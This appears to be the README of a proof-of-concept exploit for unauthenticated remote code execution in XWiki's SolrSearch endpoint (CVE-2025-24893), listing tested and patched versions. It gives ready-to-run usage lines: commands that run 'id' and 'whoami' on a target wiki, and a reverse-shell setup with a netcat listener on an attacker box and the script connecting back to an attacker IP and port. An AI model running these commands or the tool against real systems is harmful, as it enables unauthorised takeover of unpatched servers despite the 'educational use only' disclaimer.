
Unauth RCE PoC for XWiki SolrSearch (CVE-2025-24893). Command exec + reverse shell.
Unauth RCE PoC for XWiki SolrSearch (CVE-2025-24893). Command exec + reverse shell.
Proof-of-concept for the XWiki SolrSearch template injection leading to unauthenticated remote code execution.
Tested against XWiki Debian 15.10.8 (patched in 15.10.11 / 16.4.1 / 16.5.0RC1).
⚠️ Educational use only. Do not run this against systems you do not own or have explicit permission to test.
/xwiki/bin/get/Main/SolrSearch.pip install requests
Specify the target host (and optional path) when running the script.
Run basic commands:
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "id"
python3 xwiki_solr_rce.py --target http://wiki.example.tld cmd --cmd "whoami"
Start a reverse shell:
# On attacker box
nc -lvnp 4444
# From the PoC
python3 xwiki_solr_rce.py --target http://wiki.example.tld rshell <attacker_ip> 4444
/xwiki/bin/get/Main/SolrSearch?media=rss&text=...